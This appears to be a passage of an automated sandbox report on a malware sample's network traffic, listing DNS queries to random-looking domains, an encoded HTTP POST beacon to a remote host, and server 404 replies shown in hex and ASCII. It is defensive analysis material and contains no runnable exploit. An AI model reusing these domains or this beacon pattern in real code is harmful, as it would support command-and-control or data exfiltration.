Source: global traffic	DNS traffic detected: DNS query: www.juewucangku.xyz
Source: global traffic	DNS traffic detected: DNS query: www.nng83.top
Source: global traffic	DNS traffic detected: DNS query: www.brickhills.site
Source: global traffic	DNS traffic detected: DNS query: www.foggvdqutxzgea.xyz
Source: global traffic	DNS traffic detected: DNS query: www.goldbracelet.top
Source: global traffic	DNS traffic detected: DNS query: www.0be.info
Source: global traffic	DNS traffic detected: DNS query: www.smartgov.shop
Source: global traffic	DNS traffic detected: DNS query: www.hayaniya.org
Source: global traffic	DNS traffic detected: DNS query: www.dialogpriest.online
Source: global traffic	DNS traffic detected: DNS query: www.224466.top

Source: unknown

HTTP traffic detected: POST /o5mm/ HTTP/1.1Host: www.kubex.devAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.5Origin: http://www.kubex.devReferer: http://www.kubex.dev/o5mm/Content-Length: 203Connection: closeContent-Type: application/x-www-form-urlencodedCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0Data Raw: 70 6c 75 78 56 6d 3d 30 30 78 36 4e 63 31 4f 48 63 67 48 52 39 45 73 36 49 49 47 6e 30 6e 72 57 5a 4a 74 70 33 42 62 37 58 6b 69 62 64 39 5a 68 79 64 47 6b 79 66 71 51 69 53 6b 73 67 4e 4f 69 41 6b 77 31 58 53 54 2f 42 41 49 34 49 42 67 4e 31 49 58 34 70 52 51 34 38 74 6a 46 62 6a 30 57 4d 6c 2f 59 64 2b 6e 30 48 72 32 77 6b 45 34 70 35 48 2f 47 45 50 67 4d 69 6b 74 62 4c 63 56 46 54 4b 6e 4b 6b 6b 74 61 76 72 65 64 71 4a 74 43 44 39 47 6d 59 4d 7a 57 73 74 65 5a 36 47 39 67 37 2b 47 2f 4e 6d 74 33 54 65 64 46 79 66 74 54 57 4e 30 42 56 2f 51 58 6e 57 6b 4b 71 6c 30 4f 59 54 50 6b 53 6d 4f 45 67 3d 3d Data Ascii: pluxVm=00x6Nc1OHcgHR9Es6IIGn0nrWZJtp3Bb7Xkibd9ZhydGkyfqQiSksgNOiAkw1XST/BAI4IBgN1IX4pRQ48tjFbj0WMl/Yd+n0Hr2wkE4p5H/GEPgMiktbLcVFTKnKkktavredqJtCD9GmYMzWsteZ6G9g7+G/Nmt3TedFyftTWN0BV/QXnWkKql0OYTPkSmOEg==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Tue, 03 Dec 2024 13:51:29 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Tue, 03 Dec 2024 13:51:45 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 37 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f c3 30 0c be ef 57 98 70 4e b3 32 0e 5b d7 ee c0 36 09 a4 f1 10 14 01 c7 d0 ba 6b 44 9a 94 d4 a3 1b bf 9e b4 e3 2d c4 c9 4e f4 3d ec cf f1 c1 e2 72 9e 3e 5c 2d a1 a4 4a c3 d5 ed c9 ea 6c 0e 8c 0b 71 37 9a 0b b1 48 17 70 7f 9a 9e af 20 0c 86 90 3a 69 1a 45 ca 1a a9 85 58 5e b0 01 2b 89 ea 48 88 b6 6d 83 76 14 58 b7 16 e9 b5 d8 76 5a 61 47 7e 6f 39 7d 63 06 39 e5 6c 36 88 7b 43 2d cd 3a 61 68 18 6c 2b 1d fd 78 99 26 f9 43 3e 9c 4c 26 7b 55 af 01 71 89 32 f7 15 62 52 a4 b1 eb 60 e9 9c 75 70 3c 3c 06 0e 17 96 a0 b0 1b 93 77 10 f1 89 89 2b 24 09 99 35 84 86 12 46 b8 25 d1 8d 33 85 ac 94 ae 41 4a 36 54 f0 31 f3 a1 50 cd f1 79 a3 5e 12 36 df c3 79 ba ab b1 f3 86 5f 2a c6 f2 4c 66 25 fe 64 f5 5f bc b3 72 56 f7 23 8b f7 99 e3 47 9b ef a0 a1 9d c6 84 15 1e c0 0b 59 29 bd 8b a4 53 52 4f f7 16 65 f8 81 c8 ac b6 2e 3a 1c ca d1 d1 38 9b f6 f8 46 bd 62 e4 0f 83 d5 1e fd cf ea 65 d8 4f 5c 7f a8 7d f1 87 c1 f8 93 bf 50 08 fe 20 b8 c6 47 34 08 37 a8 08 e1 c9 1a 9f 13 18 95 95 04 6b 2c 7c 9a 68 a0 45 e7 4b d0 e7 5a 7b ed 58 74 eb f8 b3 f6 41 ce 06 6f 0c cc 0d 5b 59 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 173}QKO0WpN2[6kD-N=r>\-Jlq7Hp :iEX^+HmvXvZaG~o9}c9l6{C-:ahl+x&C>L&{Uq2bR`up<<w+$5F%3AJ6T1Py^6y_*Lf%d_rV#GY)SROe.:8FbeO\}P G47k,\|hEKZ{XtAo[Y0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Tue, 03 Dec 2024 13:51:47 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 37 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f c3 30 0c be ef 57 98 70 4e b3 32 0e 5b d7 ee c0 36 09 a4 f1 10 14 01 c7 d0 ba 6b 44 9a 94 d4 a3 1b bf 9e b4 e3 2d c4 c9 4e f4 3d ec cf f1 c1 e2 72 9e 3e 5c 2d a1 a4 4a c3 d5 ed c9 ea 6c 0e 8c 0b 71 37 9a 0b b1 48 17 70 7f 9a 9e af 20 0c 86 90 3a 69 1a 45 ca 1a a9 85 58 5e b0 01 2b 89 ea 48 88 b6 6d 83 76 14 58 b7 16 e9 b5 d8 76 5a 61 47 7e 6f 39 7d 63 06 39 e5 6c 36 88 7b 43 2d cd 3a 61 68 18 6c 2b 1d fd 78 99 26 f9 43 3e 9c 4c 26 7b 55 af 01 71 89 32 f7 15 62 52 a4 b1 eb 60 e9 9c 75 70 3c 3c 06 0e 17 96 a0 b0 1b 93 77 10 f1 89 89 2b 24 09 99 35 84 86 12 46 b8 25 d1 8d 33 85 ac 94 ae 41 4a 36 54 f0 31 f3 a1 50 cd f1 79 a3 5e 12 36 df c3 79 ba ab b1 f3 86 5f 2a c6 f2 4c 66 25 fe 64 f5 5f bc b3 72 56 f7 23 8b f7 99 e3 47 9b ef a0 a1 9d c6 84 15 1e c0 0b 59 29 bd 8b a4 53 52 4f f7 16 65 f8 81 c8 ac b6 2e 3a 1c ca d1 d1 38 9b f6 f8 46 bd 62 e4 0f 83 d5 1e fd cf ea 65 d8 4f 5c 7f a8 7d f1 87 c1 f8 93 bf 50 08 fe 20 b8 c6 47 34 08 37 a8 08 e1 c9 1a 9f 13 18 95 95 04 6b 2c 7c 9a 68 a0 45 e7 4b d0 e7 5a 7b ed 58 74 eb f8 b3 f6 41 ce 06 6f 0c cc 0d 5b 59 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 173}QKO0WpN2[6kD-N=r>\-Jlq7Hp :iEX^+HmvXvZaG~o9}c9l6{C-:ahl+x&C>L&{Uq2bR`up<<w+$5F%3AJ6T1Py^6y_*Lf%d_rV#GY)SROe.:8FbeO\}P G47k,\|hEKZ{XtAo[Y0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Tue, 03 Dec 2024 13:51:50 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 37 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f c3 30 0c be ef 57 98 70 4e b3 32 0e 5b d7 ee c0 36 09 a4 f1 10 14 01 c7 d0 ba 6b 44 9a 94 d4 a3 1b bf 9e b4 e3 2d c4 c9 4e f4 3d ec cf f1 c1 e2 72 9e 3e 5c 2d a1 a4 4a c3 d5 ed c9 ea 6c 0e 8c 0b 71 37 9a 0b b1 48 17 70 7f 9a 9e af 20 0c 86 90 3a 69 1a 45 ca 1a a9 85 58 5e b0 01 2b 89 ea 48 88 b6 6d 83 76 14 58 b7 16 e9 b5 d8 76 5a 61 47 7e 6f 39 7d 63 06 39 e5 6c 36 88 7b 43 2d cd 3a 61 68 18 6c 2b 1d fd 78 99 26 f9 43 3e 9c 4c 26 7b 55 af 01 71 89 32 f7 15 62 52 a4 b1 eb 60 e9 9c 75 70 3c 3c 06 0e 17 96 a0 b0 1b 93 77 10 f1 89 89 2b 24 09 99 35 84 86 12 46 b8 25 d1 8d 33 85 ac 94 ae 41 4a 36 54 f0 31 f3 a1 50 cd f1 79 a3 5e 12 36 df c3 79 ba ab b1 f3 86 5f 2a c6 f2 4c 66 25 fe 64 f5 5f bc b3 72 56 f7 23 8b f7 99 e3 47 9b ef a0 a1 9d c6 84 15 1e c0 0b 59 29 bd 8b a4 53 52 4f f7 16 65 f8 81 c8 ac b6 2e 3a 1c ca d1 d1 38 9b f6 f8 46 bd 62 e4 0f 83 d5 1e fd cf ea 65 d8 4f 5c 7f a8 7d f1 87 c1 f8 93 bf 50 08 fe 20 b8 c6 47 34 08 37 a8 08 e1 c9 1a 9f 13 18 95 95 04 6b 2c 7c 9a 68 a0 45 e7 4b d0 e7 5a 7b ed 58 74 eb f8 b3 f6 41 ce 06 6f 0c cc 0d 5b 59 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 173}QKO0WpN2[6kD-N=r>\-Jlq7Hp :iEX^+HmvXvZaG~o9}c9l6{C-:ahl+x&C>L&{Uq2bR`up<<w+$5F%3AJ6T1Py^6y_*Lf%d_rV#GY)SROe.:8FbeO\}P G47k,\|hEKZ{XtAo[Y0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 601Connection: closeDate: Tue, 03 Dec 2024 13:51:53 GMTServer: ApacheData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 3b 22 3e 0a 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 30 61 33 32 38 63 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 30 65 6d 3b 22 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 68 31 3e 0a 20 20 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 38 65 6d 3b 22 3e 0a 20 20 20 44 69 65 20 61 6e 67 65 67 65 62 65 6e 65 20 53 65 69 74 65 20 6b 6f 6e 6e 74 65 20 6e 69 63 68 74 20 67 65 66 75 6e 64 65 6e 20 77 65 72 64 65 6e 2e 0a 20 20 3c 2f 70 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Error 404 - Not found </title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <meta content="no-cache" http-equiv="cache-control"> </head> <body style="font-family:arial;"> <h1 style="color:#0a328c;font-size:1.0em;"> Error 404 - Not found </h1> <p style="font-size:0.8em;"> Die angegebene Seite konnte nicht gefunden werden. </p> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 03 Dec 2024 13:52:12 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 03 Dec 2024 13:52:15 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 03 Dec 2024 13:52:17 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 03 Dec 2024 13:52:20 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 03 Dec 2024 13:53:10 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 03 Dec 2024 13:53:13 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
